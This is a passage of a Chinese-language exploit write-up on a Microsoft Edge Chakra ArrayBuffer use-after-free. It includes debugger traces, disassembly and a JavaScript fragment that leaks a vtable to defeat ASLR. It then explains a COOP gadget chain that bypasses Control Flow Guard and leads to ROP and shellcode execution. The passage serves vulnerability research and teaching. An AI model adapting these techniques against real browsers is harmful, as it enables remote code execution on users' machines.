0f0000003b`db4fd50000007ffd`f5c7ec41EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1 #Child-SPRetAddrCallSite 000000003b`dc09f57800007ffd`f763ec85KERNELBASE!VirtualFree 010000003b`dc09f58000007ffd`f763d61dchakra!Memory::PageSegmentBase<Memory::VirtualAllocWrapper>::DecommitFreePages+0xc5 020000003b`dc09f5c000007ffd`f769c05dchakra!Memory::PageAllocatorBase<Memory::VirtualAllocWrapper>::DecommitNow+0x1c1 030000003b`dc09f61000007ffd`f7640a09chakra!Memory::IdleDecommitPageAllocator::IdleDecommit+0x89 040000003b`dc09f64000007ffd`f76cfb68chakra!Memory::Recycler::ThreadProc+0xd5 050000003b`dc09f6e000007ffe`1044b2bachakra!Memory::Recycler::StaticThreadProc+0x18 060000003b`dc09f73000007ffe`1044b38cmsvcrt!beginthreadex+0x12a 070000003b`dc09f76000007ffe`12ad8364msvcrt!endthreadex+0xac 080000003b`dc09f79000007ffe`12d85e91KERNEL32!BaseThreadInitThunk+0x14 090000003b`dc09f7c000000000`00000000ntdll!RtlUserThreadStart+0x21经过与WebGL相关的几次测试后,我发现能够稳定地触发WebGL相关的分配来回收释放的int数组留下的内存空隙的调用堆栈如下所示。奇怪的是,这个内存分配不是通过VirtualAlloc完成的,而是通过HeapAlloc,但是它位于为此目的留下的一个内存空隙上。
[...] Tryingtoalloc0x1e84c0bytes ntdll!RtlAllocateHeap: 00007ffd`99637370817910eeddeeddcmpdwordptr[rcx+10h],0DDEEDDEEhds:000001f8`ae0c0010=ddeeddee 0:010>gu d3d10warp!UMResource::Init+0x481: 00007ffd`92937601488bc8movrcx,rax 0:010>r rax=00000200c2cc0000rbx=00000201c2d5d700rcx=098674b229090000 rdx=00000000001e84c0rsi=00000000001e8480rdi=00000200b05e9390 rip=00007ffd92937601rsp=00000065724f94f0rbp=0000000000000000 r8=00000200c2cc0000r9=00000201c3b02080r10=000001f8ae0c0038 r11=00000065724f9200r12=0000000000000000r13=00000200b0518968 r14=0000000000000000r15=0000000000000001 0:010>k20 #Child-SPRetAddrCallSite 0000000065`724f94f000007ffd`929352d9d3d10warp!UMResource::Init+0x481 0100000065`724f956000007ffd`92ea1ce1d3d10warp!UMDevice::CreateResource+0x1c9 0200000065`724f960000007ffd`92e7732cd3d11!CResource<ID3D11Texture2D1>::CLS::FinalConstruct+0x2a1 0300000065`724f997000007ffd`92e7055ad3d11!CDevice::CreateLayeredChild+0x312c 0400000065`724fb1a000007ffd`92e97913d3d11!NDXGI::CDeviceChild<IDXGIResource1,IDXGISwapChainInternal>::FinalConstruct+0x5a 0500000065`724fb24000007ffd`92e999e8d3d11!NDXGI::CResource::FinalConstruct+0x3b 0600000065`724fb29000007ffd`92ea35bcd3d11!NDXGI::CDevice::CreateLayeredChild+0x1c8 0700000065`724fb41000007ffd`92e83602d3d11!NOutermost::CDevice::CreateLayeredChild+0x25c 0800000065`724fb60000007ffd`92e7e94fd3d11!CDevice::CreateTexture2D_Worker+0x412 0900000065`724fba2000007ffd`7fad98dbd3d11!CDevice::CreateTexture2D+0xbf 0a00000065`724fbac000007ffd`7fb17c66edgehtml!CDXHelper::CreateWebGLColorTexturesFromDesc+0x6f 0b00000065`724fbb5000007ffd`7fb18593edgehtml!CDXRenderBuffer::InitializeAsColorBuffer+0xe6 0c00000065`724fbc1000007ffd`7fb198aaedgehtml!CDXRenderBuffer::SetStorageAndSize+0x73 0d00000065`724fbc4000007ffd`7fae6e0bedgehtml!CDXFrameBuffer::Initialize+0xc2 0e00000065`724fbcb000007ffd`7faecff0edgehtml!RefCounted<CDXFrameBuffer,SingleThreadedRefCount>::Create2<CDXFrameBuffer,CDXRenderTarget3D*__ptr64const,CSizeconst&__ptr64,bool&__ptr64,bool&__ptr64,enumGLConstants::Type>+0xa3 0f00000065`724fbd0000007ffd`7faece6bedgehtml!CDXRenderTarget3D::InitializeDefaultFrameBuffer+0x60 1000000065`724fbd5000007ffd`7faecc87edgehtml!CDXRenderTarget3D::InitializeContextState+0x11b 1100000065`724fbdb000007ffd`7fad015bedgehtml!CDXRenderTarget3D::Initialize+0x137 1200000065`724fbde000007ffd`7fad48caedgehtml!RefCounted<CDXRenderTarget3D,MultiThreadedRefCount>::Create2<CDXRenderTarget3D,CDXSystem*__ptr64const,CSizeconst&__ptr64,RenderTarget3DContextCreationFlagsconst&__ptr64,IDispOwnerNotify*__ptr64&__ptr64>+0x7f 1300000065`724fbe3000007ffd`7fcda10fedgehtml!CDXSystem::CreateRenderTarget3D+0x10a 1400000065`724fbeb000007ffd`7f1feca0edgehtml!CWebGLRenderingContext::EnsureTarget+0x8f 1500000065`724fbf1000007ffd`7fc9373cedgehtml!CCanvasContextBase::EnsureBitmapRenderTarget+0x80 1600000065`724fbf6000007ffd`7f74f3fdedgehtml!CHTMLCanvasElement::EnsureWebGLContext+0xb8 1700000065`724fbfa000007ffd`7f27af74edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamicatexitdestructorfor'wrapper''+0xba6fd 1800000065`724fc00000007ffd`7f675945edgehtml!CFastDOM::CHTMLCanvasElement::Trampoline_getContext+0x5c 1900000065`724fc05000007ffd`7eb3c35bedgehtml!CFastDOM::CHTMLCanvasElement::Profiler_getContext+0x25 1a00000065`724fc08000007ffd`7ebc1393chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16b 1b00000065`724fc16000007ffd`7ea8d873chakra!amd64_CallFunction+0x93 1c00000065`724fc1b000007ffd`7ea90419chakra!Js::JavascriptFunction::CallFunction<1>+0x83 1d00000065`724fc21000007ffd`7ea94f4dchakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0>>>>+0x99 1e00000065`724fc26000007ffd`7ea94b07chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d 1f00000065`724fc2f000007ffd`7ea936c9chakra!Js::InterpreterStackFrame::Process+0x1a7调用堆栈中的edgehtml!CFastDOM :: CHTMLCanvasElement :: Trampoline_getContext的存在揭示了这个代码路径是由我的WebGL初始化代码中的JavaScript行触发的:
canvas.getContext("experimental-webgl");在d3d10warp!UMResource :: Init这个堆分配之后的几个指令,分配的缓冲区的地址存储在缓冲区+ 0x38处,这正是我们梦寐以求的那种自我引用:
d3d10warp!UMResource::Init+0x479: 00007ffd`929375f933d2xoredx,edx 00007ffd`929375fbff159f691e00callqwordptr[d3d10warp!_imp_HeapAlloc(00007ffd`92b1dfa0)]//Allocates0x1e84c0bytes 00007ffd`92937601488bc8movrcx,rax 00007ffd`929376044885c0testrax,rax 00007ffd`929376070f8400810600jed3d10warp!ShaderConv::CInstr::Token::Token+0x2da6d(00007ffd`9299f70d) 00007ffd`9293760d4883c040addrax,40h 00007ffd`929376114883e0c0andrax,0FFFFFFFFFFFFFFC0h 00007ffd`92937615488948f8movqwordptr[rax-8],rcx//addressofbufferisstoredatbuffer+0x38 0:010>dqs@rcx 00000189`0f72000000000000`00000000 00000189`0f72000800000000`00000000 00000189`0f72001000000000`00000000 00000189`0f72001800000000`00000000 00000189`0f72002000000000`00000000 00000189`0f72002800000000`00000000 00000189`0f72003000000000`00000000 00000189`0f72003800000189`0f720000//self-referencepointer 00000189`0f72004000000000`00000000 00000189`0f72004800000000`00000000 00000189`0f72005000000000`00000000 00000189`0f72005800000000`00000000 00000189`0f72006000000000`00000000 00000189`0f72006800000000`00000000 00000189`0f72007000000000`00000000 00000189`0f72007800000000`00000000所以在WebGL初始化代码完成之后,我们需要使用R / W原语来遍历WebGL缓冲区(它们与我们的破坏的int数组相邻),寻找偏移量为0x38的自引用指针。一旦我们找到自引用指针,就可以很容易地计算出我们破坏的int数组的基址; 反过来,这意味着现在我们可以根据绝对地址进行读操作(但是请记住,我们仍然操作一个主要的限制,那就是只能读取/写入大于被破坏的int数组的基址的地址):
functionafter_webgl(corrupted_index){ for(vari=11;i>1;i-=1){ base_index=0x4000*i; arr[corrupted_index][base_index+0x20]=0x21212121;//writeatleasttooffsetNifyouwanttoreadfromoffsetN //readtheqwordatwebgl_block+0x38 varself_ref=ud(arr[corrupted_index][base_index+1])*(2**32)+ud(arr[corrupted_index][base_index]); //Ifitlookslikethepointerwearelookingfor... if(((self_ref&0xffff)==0)&&(self_ref>0xffffffff)){ vararray_addr=self_ref-i*0x10000; //LimitationoftheR/Wprimitive:targetaddressmustbe>arrayaddress if(ptr_to_object>array_addr){ //Calculatetheproperindextotargettheaddressoftheobject varoffset=(ptr_to_object-(array_addr+0x38))/4; //WriteatleasttooffsetNifyouwanttoreadfromoffsetN arr[corrupted_index][offset+0x20]=0x21212121; //Readtheaddressofthevtable! varvtable_ptr=ud(arr[corrupted_index][offset+1])*(2**32)+ud(arr[corrupted_index][offset]); //Calculatethebaseaddressofchakra.dll varchakra_baseaddr=vtable_ptr-0x005864d0; [...]所以,如果我们足够幸运的话,泄漏的对象的地址会大于我们的损坏的int数组的地址(如果在第一次尝试中没有这么幸运的话,则需要更多的工作),我们可以简单的计算指定目标对象的索引(完成读取OOB所需),所以我们获取指向vtable的指针,然后我们可以计算chakra.dll的基地址。这样我们就挫败了ASLR,所以可以继续进入开发过程中的下一步。
伪面向对象编程
现在我们已经可以读写我们泄露的对象了,下面要设法绕过Control Flow Guard,以便可以将执行流重定向到我们的ROP链。为了绕过CFG,我使用了一种被称为伪面向对象编程(COOP)[11]或面向对象的漏洞利用技术[12]。 确切地说,我在后文中遵循了Sam Thomas [13]所描述的方法。这种技术基于链接两个函数,两个都是有效的CFG目标,提供两个原语:第一个函数(一个COOP部件)将局部变量(位于堆栈中)的地址作为另一个函数的参数传递,该函数通过间接调用进行调用。
第二个函数期望其中一个参数是指向结构的指针,并写入该预期结构的成员。
给定第二个COOP部件写入预期结构中的正确偏移量(等于第一个函数的返回地址存储在堆栈中的地址减去作为第一个函数的参数传递的局部变量的地址),可以使第二个函数覆盖堆栈中第一个函数的返回地址。这样,当执行第一个COOP部件的RET指令时,我们可以将执行流转移到ROP链,同时避开CFG,因为这种缓解尝试无法保护返回地址。
为了找到满足上述条件的两个函数,我写了一个IDApython脚本,它基于Quarkslab的Triton [14] DBA框架,这是由我的同事Jonathan Salwan、Pierrick Brunet和Romain Thomas开发的一个令人敬仰的引导引擎。运行我的工具并检查其输出后,我选择了chakra!Js :: DynamicObjectEnumerator <int,1,1,1> :: MoveNext函数作为第一个COOP部件,通过间接调用来调用另一个函数,传递一个局部变量作为第二个参数(RDX寄存器)。存储堆栈中返回地址的地址与本地变量之间的距离为0x18字节:
.text:0000000180089D40public:virtualintJs::DynamicObjectEnumerator<int,1,1,1>::MoveNext(unsignedchar*)procnear .text:0000000180089D40movr11,rsp .text:0000000180089D43mov[r11+10h],rdx .text:0000000180089D47mov[r11+8],rcx .text:0000000180089D4Bsubrsp,38h .text:0000000180089D4Fmovrax,[rcx] .text:0000000180089D52movr8,rdx .text:0000000180089D55leardx,[r11-18h]//secondargumentistheaddressofalocalvariable .text:0000000180089D59movrax,[rax+2E8h] .text:0000000180089D60callcs:__guard_dispatch_icall_fptr//callsecondCOOPgadget .text:0000000180089D66xorecx,ecx .text:0000000180089D68testrax,rax .text:0000000180089D6Bsetnzcl .text:0000000180089D6Emoveax,ecx .text:0000000180089D70addrsp,38h .text:0000000180089D74retn .text:0000000180089D74public:virtualintJs::DynamicObjectEnumerator<int,1,1,1>::MoveNext(unsignedchar*)endp我们制作一个假的虚拟桌面,使间接调用引用第二个COOP部件;对于第二个函数,我选择了edgehtml!CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry。第二个函数将EAX寄存器的内容写入第二个参数指向的结构的偏移量0x18处,这样就可以覆盖第一个函数的返回地址了:
.text:000000018056BF90;void__fastcallCRTCMediaStreamTrackStats::WriteSnapshotForTelemetry(CRTCMediaStreamTrackStats*__hiddenthis,structTelemetryStats::BaseTelemetryStats*) .text:000000018056BF90moveax,[rcx+30h] .text:000000018056BF93mov[rdx+4],eax .text:000000018056BF96moveax,[rcx+34h] .text:000000018056BF99mov[rdx+8],eax .text:000000018056BF9Cmovrax,[rcx+38h] .text:000000018056BFA0mov[rdx+10h],rax .text:000000018056BFA4moveax,[rcx+40h] .text:000000018056BFA7mov[rdx+18h],eax//writestooffset0x18ofthestructurepointedbythe2ndargument==overwritesreturnaddress .text:000000018056BFAAmoveax,[rcx+44h] .text:000000018056BFADmov[rdx+1Ch],eax .text:000000018056BFB0moveax,[rcx+4Ch] .text:000000018056BFB3mov[rdx+20h],eax .text:000000018056BFB6moveax,[rcx+50h] .text:000000018056BFB9mov[rdx+24h],eax .text:000000018056BFBCretn .text:000000018056BFBC?WriteSnapshotForTelemetry@CRTCMediaStreamTrackStats@@MEBAXPEAUBaseTelemetryStats@TelemetryStats@@@Zendp在反汇编CRTCMediaStreamTrackStats :: WriteSnapshotForTelemetry函数的代码中可以看出,用于覆盖返回地址的qword来自RCX + 0x40 / RCX + 0x44,这意味着它是具有假的vtable的对象的成员,因此它可以被攻击者完全控制。
当退出第一个COOP函数时,会覆盖返回地址,所以,我们就绕过了Control Flow Guard。我们使用堆栈旋转部件的地址作为覆盖返回地址的值; 这样,我们只需启动一个传统的ROP链,它将调用EShims!NS_ACGLockdownTelemetry :: APIHook_VirtualProtect,为我们的shellcode提供可执行权限,从而远程执行代码。
小结
ArrayBuffer对象一直是不同网络浏览器的各种UAF漏洞的源泉,Edge中的Chakra引擎也不例外。事实上,ArrayBuffer构造函数可以使用两个不同的分配器(malloc或VirtualAlloc),加上我们可以根据要创建的ArrayBuffer的长度来控制使用哪一个的事实